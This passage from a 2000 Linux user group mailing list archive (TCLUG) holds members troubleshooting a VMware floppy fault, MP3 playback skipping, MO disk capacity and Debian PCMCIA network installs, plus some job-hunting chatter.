where's your resume? > > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > > Make the force be with you. And for god's sake men, be careful. > ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama > Jungle 1991 > From b.layer at vikingelectronics.com Mon Dec 18 12:38:52 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] vmware floppy strangeness In-Reply-To: <4.3.2.7.2.20001218121707.00d29de0@192.168.210.18> References: <00121810513905.00258@Billbob_Linux> <4.3.2.7.2.20001218121707.00d29de0@192.168.210.18> Message-ID: <00121812385200.00288@Billbob_Linux> VMWare installed and running fine. Booting & installing VMs from the 1.44 (A:) floppy drive, and all is well. Suddenly, VMWin95 won't read any floppy disks.. says they are unformatted. Trying to format a disk gives a 'disk not present, or drive door open' message. Restart the VM, now thw VM will not boot from a floppy - the drive lights & spins, but no head activity, and 'Missing operating systrem." errors. Create some new VMs, same problem, no floppy access at all. Linux mounts, reads and writes the drives just fine. The box will also boot from the drive anytime. VMWare re-installed. Floppy, still totally useless. Settings for the floppy device all look fine, and appear correct as the drive does light and spin when you attempt to access it. I don't expect VMWare to give me support on an eval license, and there is not a peep about this in the FAQS! H-E-L-P! -- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | .:Bill Layer:. | Viking Electronics,Inc. 1531 Industrial St | | .:Sales Technician:. | Hudson, WI 54016 USA + 715.386.8861 x210 | | b.layer@vikingelectronics.com | http://www.vikingelectronics.com | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "Telecom Solutions for the 21st Century" + Powered by Slackware Linux 7.1.0 From barnabas at knicknack.net Mon Dec 18 12:53:09 2000 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] vmware floppy strangeness In-Reply-To: <00121812385200.00288@Billbob_Linux>; from b.layer@vikingelectronics.com on Mon, Dec 18, 2000 at 12:38:52PM -0600 References: <00121810513905.00258@Billbob_Linux> <4.3.2.7.2.20001218121707.00d29de0@192.168.210.18> <00121812385200.00288@Billbob_Linux> Message-ID: <20001218125309.B11942@knicknack.net> Here's my stab in the dark. I don't think you're doing this, but it has been my experience that only one VM or host can access the floppy at a time. Are you sure that you don't have the floppy mounted (maybe automounted) on your host system or some VM? Eric On Mon, Dec 18, 2000 at 12:38:52PM -0600, Bill Layer wrote: > VMWare installed and running fine. Booting & installing VMs from the 1.44 > (A:) floppy drive, and all is well. Suddenly, VMWin95 won't read any floppy > disks.. says they are unformatted. Trying to format a disk gives a 'disk not > present, or drive door open' message. > > Restart the VM, now thw VM will not boot from a floppy - the drive lights & > spins, but no head activity, and 'Missing operating systrem." errors. Create > some new VMs, same problem, no floppy access at all. > > Linux mounts, reads and writes the drives just fine. The box will also boot > from the drive anytime. VMWare re-installed. Floppy, still totally useless. > Settings for the floppy device all look fine, and appear correct as the drive > does light and spin when you attempt to access it. > > I don't expect VMWare to give me support on an eval license, and there is not > a peep about this in the FAQS! > > H-E-L-P! > > -- > ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > | .:Bill Layer:. | Viking Electronics,Inc. 1531 Industrial St | > | .:Sales Technician:. | Hudson, WI 54016 USA + 715.386.8861 x210 | > | b.layer@vikingelectronics.com | http://www.vikingelectronics.com | > ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > "Telecom Solutions for the 21st Century" + Powered by Slackware Linux 7.1.0 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From blutgens at sistina.com Mon Dec 18 12:55:36 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:56 2005 Subject: [TCLUG] MO Problems In-Reply-To: <3A3E50BD.51A0E396@tc.umn.edu>; from hick0088@tc.umn.edu on Mon, Dec 18, 2000 at 12:00:29PM -0600 References: <3A3E249A.27241C19@tcfreenet.org> <3A3E50BD.51A0E396@tc.umn.edu> Message-ID: <20001218125536.A5284@socrates.sistina.com> On Mon, Dec 18, 2000 at 12:00:29PM -0600, Michael Hicks wrote: >Callum Lerwick wrote: >> >Hmm.. Would you be able to do `wc -c /dev/sd' and find the actual >number of bytes on the disk? I'm not sure how much extra space various >filesystems take up.. > Or you could cat /proc/partitions -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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Try making an image of on of the floppies (dd if=/dev/fd0 of=flopp1.bin) and setting up that image as a floppy (Type = file instead of Device) If the floppy was mounted before you powered on your VM, the floppy device will be "disconnected" in VMWare. First things to come to mind... -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From blutgens at sistina.com Mon Dec 18 12:56:09 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:56 2005 Subject: [TCLUG] Could Novell suck this badly? In-Reply-To: ; from austad@marketwatch.com on Mon, Dec 18, 2000 at 12:21:25PM -0600 References: Message-ID: <20001218125609.B5284@socrates.sistina.com> On Mon, Dec 18, 2000 at 12:21:25PM -0600, Austad, Jay wrote: >> What do you do? Sistina is hiring. > >How about network engineers/security? > Possibly, send me a resume :-) -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001218/115ecf29/attachment.pgp From Brad.C.Elkin at seagate.com Mon Dec 18 15:03:17 2000 From: Brad.C.Elkin at seagate.com (Brad.C.Elkin@seagate.com) Date: Mon Jan 17 13:13:56 2005 Subject: [TCLUG] How can I prevent kmp3 from skipping during playback? Message-ID: I'm running Mandrake 7.0. I use kmp3 to run music for a folk-dance group off of my laptop, but the playback skips every-so-often. I'm assuming that it's a buffer underrun, but I don't know how to monitor kmp3. It is most definitely intermittent, unrepeatable, indeterminate behavior and all of those other descriptions you learn in CSci when you have battling processes. I have a 233 Mhz Pentium with the Opl3SAx sound chipset and I use the standard drivers installed. kmp3 seems to use about 15% of the cpu and very little disk time. I've tried tuning with hdparm and removed the at and cron daemons. I run kmp3 at nice -19. Only one daemon, mdrecoveryd, seems to be running with a higher priority.(and I don't know what it does) I also tried alsaplayer, which also skips, and occasionally the sound drops out completely. Is there a debug mode or other way that I can monitor system performance so that I can look in (some) log file or messages file to see what else is happening when kmp3 skips? It looks like there is very little disk activity while running kmp3. Is it just accepted that kmp3 occasionally skips? (Am I missing some key tunable system parameter?) Any suggestions on other lists I can write to? From drew at usfamily.net Mon Dec 18 17:29:21 2000 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:13:56 2005 Subject: [TCLUG] How can I prevent kmp3 from skipping during playback? References: Message-ID: <000501c0694a$5a783e60$a04dfea9@drew> consider using xmms ----- Original Message ----- From: To: Sent: Monday, December 18, 2000 1:03 PM Subject: [TCLUG] How can I prevent kmp3 from skipping during playback? > > I'm running Mandrake 7.0. > > I use kmp3 to run music for a folk-dance group off of my laptop, but the playback skips every-so-often. > I'm assuming that it's a buffer underrun, but I don't know how to monitor kmp3. It is most definitely intermittent, unrepeatable, indeterminate > behavior and all of those other > descriptions you learn in CSci when you have battling processes. > I have a 233 Mhz Pentium with the Opl3SAx sound chipset and I use the standard drivers installed. kmp3 seems to use about 15% of the cpu and very > little disk time. > I've tried tuning with hdparm and removed the at and cron daemons. I run kmp3 at nice -19. Only one daemon, mdrecoveryd, seems to be running with > a higher priority.(and I don't know what it does) > I also tried alsaplayer, which also skips, and occasionally the sound drops out completely. > > Is there a debug mode or other way that I can monitor system performance so that I can look in (some) log file or messages file to see what else is > happening when kmp3 skips? > It looks like there is very little disk activity while running kmp3. Is it just accepted that kmp3 occasionally skips? > (Am I missing some key tunable system parameter?) > Any suggestions on other lists I can write to? > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ From sos at zjod.net Mon Dec 18 15:40:34 2000 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:13:56 2005 Subject: [TCLUG] How can I prevent kmp3 from skipping during playback? In-Reply-To: from "Brad.C.Elkin@seagate.com" at Dec 18, 2000 03:03:17 PM Message-ID: <200012182140.PAA27856@zjod.net> A 233 Mhz Pentium laptop? Maybe time for a faster one? Also, check to make sure that your disk drive isn't "parked" (or whatever it's called when you automagicly spin down a "live" laptop drive to save power). Brad.C.Elkin@seagate.com wrote: > > > I'm running Mandrake 7.0. > > I use kmp3 to run music for a folk-dance group off of my laptop, but the playback skips every-so-often. > I'm assuming that it's a buffer underrun, but I don't know how to monitor kmp3. It is most definitely intermittent, unrepeatable, indeterminate > behavior and all of those other > descriptions you learn in CSci when you have battling processes. > I have a 233 Mhz Pentium with the Opl3SAx sound chipset and I use the standard drivers installed. kmp3 seems to use about 15% of the cpu and very > little disk time. > I've tried tuning with hdparm and removed the at and cron daemons. I run kmp3 at nice -19. Only one daemon, mdrecoveryd, seems to be running with > a higher priority.(and I don't know what it does) > I also tried alsaplayer, which also skips, and occasionally the sound drops out completely. > > Is there a debug mode or other way that I can monitor system performance so that I can look in (some) log file or messages file to see what else is > happening when kmp3 skips? > It looks like there is very little disk activity while running kmp3. Is it just accepted that kmp3 occasionally skips? > (Am I missing some key tunable system parameter?) > Any suggestions on other lists I can write to? > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Mon Dec 18 15:36:39 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:56 2005 Subject: [TCLUG] How can I prevent kmp3 from skipping during playback? Message-ID: sounds like either a sound driver problem, or your irq of your soundcard overlaps with something else. do a cat /proc/interrupts Look to see if the irq of your soundcard has another device listed for it also. My sound would skip during heavy network activity, and it turns out that my irq of eth0 was the same as the soundcard. Jay > -----Original Message----- > From: Andrew Nemchenko [mailto:drew@usfamily.net] > Sent: Monday, December 18, 2000 5:29 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] How can I prevent kmp3 from skipping during > playback? > > > consider using xmms > > > > ----- Original Message ----- > From: > To: > Sent: Monday, December 18, 2000 1:03 PM > Subject: [TCLUG] How can I prevent kmp3 from skipping during playback? > > > > > > I'm running Mandrake 7.0. > > > > I use kmp3 to run music for a folk-dance group off of my > laptop, but the > playback skips every-so-often. > > I'm assuming that it's a buffer underrun, but I don't know > how to monitor > kmp3. It is most definitely intermittent, unrepeatable, indeterminate > > behavior and all of those other > > descriptions you learn in CSci when you have battling processes. > > I have a 233 Mhz Pentium with the Opl3SAx sound chipset > and I use the > standard drivers installed. kmp3 seems to use about 15% of > the cpu and very > > little disk time. > > I've tried tuning with hdparm and removed the at and cron > daemons. I run > kmp3 at nice -19. Only one daemon, mdrecoveryd, seems to be > running with > > a higher priority.(and I don't know what it does) > > I also tried alsaplayer, which also skips, and > occasionally the sound > drops out completely. > > > > Is there a debug mode or other way that I can monitor > system performance > so that I can look in (some) log file or messages file to see > what else is > > happening when kmp3 skips? > > It looks like there is very little disk activity while > running kmp3. Is > it just accepted that kmp3 occasionally skips? > > (Am I missing some key tunable system parameter?) > > Any suggestions on other lists I can write to? > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > ------ http://USFamily.Net/info - Unlimited Internet - From > $7.99/mo! ------ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From andyzb at ltiflex.com Mon Dec 18 15:53:00 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:56 2005 Subject: [TCLUG] How can I prevent kmp3 from skipping during playback? References: Message-ID: <3A3E873C.B4C4CD5F@ltiflex.com> It could be a buggy sound driver, or your sound driver might not be initlized properly. Double check the setting on your modules. Try mpg123 and see if it skips, see if xmms skips. Kill esd. If it doesn't skip in a differen't player the culprit is your player. If it does skip in other players it's likely a driver issue. The sound card you have is fairly well supported. If it's a driver issue it's probally because your driver module is not getting the correct DMA channel or IRQ. cat /proc/inturrputs cat /proc/dma See what shows up. Check /etc/modules.conf and see if the settings match. Hmmm, can't think of much else. -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From tim at tneu.visi.com Mon Dec 18 16:49:30 2000 From: tim at tneu.visi.com (tim) Date: Mon Jan 17 13:13:56 2005 Subject: [TCLUG] How can I prevent kmp3 from skipping during playback? In-Reply-To: <200012182140.PAA27856@zjod.net> Message-ID: Many mp3 playing programs have an option to buffer playback so that the player can play from the buffer if the decompression routines are unable to keep up (due to system load, etc). I know for sure mpg123 does, not sure about kmp3. If you have playback problems AFTER setting up a buffer, then you can look at some of the more complicated problems that people have proposed. (always try the simple things first, eh?) When you enable a playback buffer, you shouldn't have to worry about atd, cron, etc... (as long as your buffer is big enough). =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What the president of the Motion Picture Association of America says about taking away your constitutional rights: "I'm rather jubilant now. What Judge Kaplan did was blow away every one of these brittle and fragile rebuttals. He threw out fair use; he threw out reverse engineering; he threw out linking." - Jack Valenti, president of the Motion Picture Association of America. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ______ _ __ "If you don't have the freedom to use what you / ' ) ) own - then you do not own anything." / o ______ / / _ . . No apologies to Jack Valenti or the MPAA / <_/ / / < / (_ What's happening.... no-one's around? everyone's frozen in their homes? someone communicate here! :-P Oh well, I'll keep checkin' back... -- Thomas J. Hudak Jr. Systems Administrator Sistina Software Inc. Phone: 612.379.3951 Page: 612.318.1967 Fax: 612.379.3952 -------------- next part -------------- A non-text attachment was scrubbed... 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I'm not sure how much extra space various > > filesystems take up.. > > 635600896 /dev/sdc > > So, technically, it's a 606mb disk, correct? No, it's not 606 millibits, it's 606 megabytes (m=milli, b=bits, M=mega, B=bytes ;-) 635600896 Bytes / 1024 = 620704 kB 620704 kB / 1024 = 606 MB Looks like they rounded up the millions of bytes (been known to happen..) to the nearest 5 million (!) rather than the nearest 1 million. I guess `640 MB` is more sexy than `636 MB' -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ B.Gates: quality software / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ ... R.McDonald: gourmet \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) cuisine [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From kelly_black at firstlinux.net Mon Dec 18 22:08:26 2000 From: kelly_black at firstlinux.net (Kelly Black) Date: Mon Jan 17 13:13:56 2005 Subject: [TCLUG] Where's all the posts... Message-ID: <20001219040826.4DD2236EE@sitemail.everyone.net> Why so restless Jr.? :-) Just kidding Kelly Black --- Tom Hudak > wrote: >Part: 1 >
What's happening.... no-one's around? everyone's frozen in their homes?
>someone communicate here! :-P Oh well, I'll keep checkin' back...
>-- 
>Thomas J. Hudak
>Jr. Systems Administrator
>Sistina Software Inc.
>Phone: 612.379.3951 Page: 612.318.1967
>Fax: 612.379.3952
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_____________________________________________________________ Want a new web-based email account ? ---> http://www.firstlinux.net From eric at urbanrage.com Mon Dec 18 23:53:56 2000 From: eric at urbanrage.com (eric) Date: Mon Jan 17 13:13:57 2005 Subject: [TCLUG] Where's all the posts... References: <20001219040826.4DD2236EE@sitemail.everyone.net> Message-ID: <3A3EF7F4.B65C27BB@urbanrage.com> Kelly Black wrote: > Why so restless Jr.? > > :-) Just kidding > > Kelly Black > I think the problem is that the messages are going to two different lists tclug-list@lists.real-time.com (this list gets all messages) tclug-list@mn-linux.org (this list only gets messages posted to it) Just guessing... Eric -------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: <20001219040826.4DD2236EE@sitemail.everyone.net>; from kelly_black@firstlinux.net on Mon, Dec 18, 2000 at 08:08:26PM -0800 References: <20001219040826.4DD2236EE@sitemail.everyone.net> Message-ID: <20001219101459.A1928@socrates.sistina.com> On Mon, Dec 18, 2000 at 08:08:26PM -0800, Kelly Black wrote: >Why so restless Jr.? HAHAHA -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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Does woody and 2.4.x handle this any better? ~jacque From andyzb at ltiflex.com Tue Dec 19 11:09:49 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:57 2005 Subject: [TCLUG] debian pcmcia install References: <3A3F9079.BF8680EA@ultracrass.com> Message-ID: <3A3F965D.1D30B81@ltiflex.com> Don't know about 2.4, but I have had no problems doing ftp installs on laptops with PCMICA network cards. Make sure you use the full install disk set. (5 disks, rescue, root, driver 1-3, don't need base.) and you should be set. I belive the PCMICA utils shipped with Debian 2.2 is actually a newer release than RedHat 7. -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From veldy at veldy.net Tue Dec 19 11:11:27 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:13:57 2005 Subject: [TCLUG] How can I prevent kmp3 from skipping during playback? References: Message-ID: <006a01c069de$b94c1080$0100a8c0@cascade> The problem is more than likely due to your sound drivers (modules). I recommend you switch to the ALSA drivers and be done with it. This works wonderfully for ALL of my computers. http://www.alsa-project.org Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: To: Sent: Monday, December 18, 2000 3:03 PM Subject: [TCLUG] How can I prevent kmp3 from skipping during playback? > > I'm running Mandrake 7.0. > > I use kmp3 to run music for a folk-dance group off of my laptop, but the playback skips every-so-often. > I'm assuming that it's a buffer underrun, but I don't know how to monitor kmp3. It is most definitely intermittent, unrepeatable, indeterminate > behavior and all of those other > descriptions you learn in CSci when you have battling processes. > I have a 233 Mhz Pentium with the Opl3SAx sound chipset and I use the standard drivers installed. kmp3 seems to use about 15% of the cpu and very > little disk time. > I've tried tuning with hdparm and removed the at and cron daemons. I run kmp3 at nice -19. Only one daemon, mdrecoveryd, seems to be running with > a higher priority.(and I don't know what it does) > I also tried alsaplayer, which also skips, and occasionally the sound drops out completely. > > Is there a debug mode or other way that I can monitor system performance so that I can look in (some) log file or messages file to see what else is > happening when kmp3 skips? > It looks like there is very little disk activity while running kmp3. Is it just accepted that kmp3 occasionally skips? > (Am I missing some key tunable system parameter?) > Any suggestions on other lists I can write to? > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From jon.erickson at neicoltech.org Tue Dec 19 11:27:22 2000 From: jon.erickson at neicoltech.org (Jonathan Erickson) Date: Mon Jan 17 13:13:57 2005 Subject: [TCLUG] debian pcmcia install In-Reply-To: <3A3F9079.BF8680EA@ultracrass.com> Message-ID: <001901c069e0$f254ac00$a102a8c0@neicoltech.org> > I've had some problems in the past getting pcmcia to deal with dhcp on > that machine under debian potato and kernel 2.3.x. Does woody and 2.4.x > handle this any better? I use dhcp to configure my laptop and it works just fine. Here's the relevant specs: - IBM ThinkPad A20 - debian potato and kernel 2.2.17 with pcmcia packages - 3Com Megahertz pcmcia card Jon From dieman at ringworld.org Tue Dec 19 11:27:38 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:57 2005 Subject: [TCLUG] debian pcmcia install In-Reply-To: <3A3F965D.1D30B81@ltiflex.com>; from andyzb@ltiflex.com on Tue, Dec 19, 2000 at 11:09:49AM -0600 References: <3A3F9079.BF8680EA@ultracrass.com> <3A3F965D.1D30B81@ltiflex.com> Message-ID: <20001219112738.C24042@ringworld.org> * Andy Zbikowski [001219 11:12]: > set. I belive the PCMICA utils shipped with Debian 2.2 is actually a newer > release than RedHat 7. Yes. RH7 Ships with 3.1.19, whereas the current stuff is like 3.1.22 . -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001219/84c6f9cb/attachment.pgp From jon.erickson at neicoltech.org Tue Dec 19 12:00:10 2000 From: jon.erickson at neicoltech.org (Jonathan Erickson) Date: Mon Jan 17 13:13:57 2005 Subject: [TCLUG] debian pcmcia install In-Reply-To: <3A3F9079.BF8680EA@ultracrass.com> Message-ID: <002301c069e5$8745cde0$a102a8c0@neicoltech.org> > Just curious, has anyone successfully done an ftp install of debian with > pcmcia? Ooops! I should have read the post a little better. My bad. Jon From RWare at INTERPLASTIC.com Tue Dec 19 12:07:28 2000 From: RWare at INTERPLASTIC.com (Ryan Ware) Date: Mon Jan 17 13:13:57 2005 Subject: [TCLUG] RE: Where's all the posts... Message-ID: <8794B3B640FED2118D8600C00D0020A593EF6A@IPSERVER2> Not frozen in the house, just pondering where I want to go today during the numerous reboots and down time NT bestows on me in my current job. I'm thinking it might be nice to just go home on time for a change or to a beer meeting. From blutgens at sistina.com Tue Dec 19 12:28:58 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:57 2005 Subject: [TCLUG] debian pcmcia install In-Reply-To: <3A3F9079.BF8680EA@ultracrass.com>; from jacque@ultracrass.com on Tue, Dec 19, 2000 at 10:44:41AM -0600 References: <3A3F9079.BF8680EA@ultracrass.com> Message-ID: <20001219122858.D3065@socrates.sistina.com> On Tue, Dec 19, 2000 at 10:44:41AM -0600, Jacqueline Urick wrote: >Just curious, has anyone successfully done an ftp install of debian with >pcmcia? I'm iching to put debian back on my old laptop (dell inspiron >3200 with a 3Com Etherlink III PCMCIA), but I can't seem to find my old >cd-rom image. Yeah, get the latest netinstall floppies and you'll be all set. Just be carefull that you actually get the PCMCIA stuff setup. The actual default order of setup will blow right by the PCMCIA stuff. You have been warned. In short, I have no Full Install CDs for debian. I only do netinstalls cause I have good bandwidth. So it can be done quit simply. Get started and post questions, I'll be watching. You needn't use 2.4 with woody if you don't want to. X4 is sweet if you need the fastest DRM stuff for X4 but for the most part it sucks rocks. And yes pump handles DHCP much better in woody than in potato. Personally I got fed up trying to get debian to install on this damn sony vaio with a USB floppy and am installing freebsd via ftp now. It went beautifully. Two floppy images and I am golden. Just my .02 on that. > >I've had some problems in the past getting pcmcia to deal with dhcp on >that machine under debian potato and kernel 2.3.x. Does woody and 2.4.x >handle this any better? > >~jacque > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001219/f0dec1cf/attachment.pgp From ultracrass at ultracrass.com Tue Dec 19 15:03:41 2000 From: ultracrass at ultracrass.com (Jacqueline Urick) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] debian pcmcia install References: <3A3F9079.BF8680EA@ultracrass.com> <20001219122858.D3065@socrates.sistina.com> Message-ID: <3A3FCD2D.E46266CE@ultracrass.com> > Yeah, get the latest netinstall floppies and you'll be all set. Just be > carefull that you actually get the PCMCIA stuff setup. The actual default > order of setup will blow right by the PCMCIA stuff. You have been warned. > yeah, I think I had to install like 6 times before I finally got it right, when I first put debian on this machine. I'm bad at reading sometimes. > You needn't use 2.4 with woody if you don't want to. X4 is sweet if you need > the fastest DRM stuff for X4 but for the most part it sucks rocks. And yes > pump handles DHCP much better in woody than in potato. what is DRM stuff? > Personally I got fed up trying to get debian to install on this damn sony vaio > with a USB floppy and am installing freebsd via ftp now. It went beautifully. > Two floppy images and I am golden. > > Just my .02 on that. > Actually, I've looked all over and I can't find the floppy drive for dorkstuff, so I guess I'm going to have to wait and burn another cd. Unless by some miracle I find one or the other. Probably a good thing as it will save me a headache. I need to be better organized about stuff when I pack and move. I guess thats my lesson for today. ~jacque "not gonna get around to installing linux today so I guess I'm a loser" urick From zibby at ringworld.org Tue Dec 19 15:17:01 2000 From: zibby at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] debian pcmcia install In-Reply-To: <3A3FCD2D.E46266CE@ultracrass.com> Message-ID: > yeah, I think I had to install like 6 times before I finally got it right, when I > first put debian on this machine. I'm bad at reading sometimes. Look on the bright side, once you actually get past the Debian installer you'll never (in theory) have to touch it again. You can upgrade to the latest distribution without going through an upgrade installer or reinstalling, and you probally won't even have to reboot. Hurray for apt-get dist-upgrade :) | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | This message is protected by double ROT13 | | encryption. Any attempt to circumvent the | | digital protection is banned by the DMCA. | From blutgens at sistina.com Tue Dec 19 15:21:51 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] debian pcmcia install In-Reply-To: <3A3FCD2D.E46266CE@ultracrass.com>; from ultracrass@ultracrass.com on Tue, Dec 19, 2000 at 03:03:41PM -0600 References: <3A3F9079.BF8680EA@ultracrass.com> <20001219122858.D3065@socrates.sistina.com> <3A3FCD2D.E46266CE@ultracrass.com> Message-ID: <20001219152151.A10281@socrates.sistina.com> On Tue, Dec 19, 2000 at 03:03:41PM -0600, Jacqueline Urick wrote: >what is DRM stuff? Direct Rendering stuff. Sorta like DirectX only linux native. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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You can upgrade to the > latest distribution without going through an upgrade installer or > reinstalling, and you probally won't even have to reboot. > > Hurray for apt-get dist-upgrade :) > yeah unless you do something foolish like nuking your linux partition so you can install diablo 2, only to find diablo 2 a) doesn't work well on your machine and b) wasn't worth the wait. lessons learned. ~j From jamie at floyd.getsetnet.net Tue Dec 19 16:54:47 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Any Unix/Linux sweat shops? Message-ID: Does anyone know of any good places to go to find junior admin Linux or Unix work? Even if it is 60 hr a week for 30k type work, I would be SO grateful. Help desk stuff, ANYTHING? I have reached desperation level. Would be elated to find ANYTHING! Thanks so much. Merry Christmas, - Jamie Ostrowski From chrisp at dusk.bitstream.net Tue Dec 19 16:53:45 2000 From: chrisp at dusk.bitstream.net (Christopher Palmer) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? In-Reply-To: Message-ID: On Tue, 19 Dec 2000, Jamie Ostrowski wrote: > Does anyone know of any good places to go to find junior admin Linux or > Unix work? There is a special list called TCLUG-Jobs where you can post resumes and job listings. Subscribe to that. > Even if it is 60 hr a week for 30k type work, Do not ever take that kind of job. It's not worth it. -- Chris www.innerfireworks.com From manero at yossman.net Tue Dec 19 17:09:29 2000 From: manero at yossman.net (Anthony Collen) 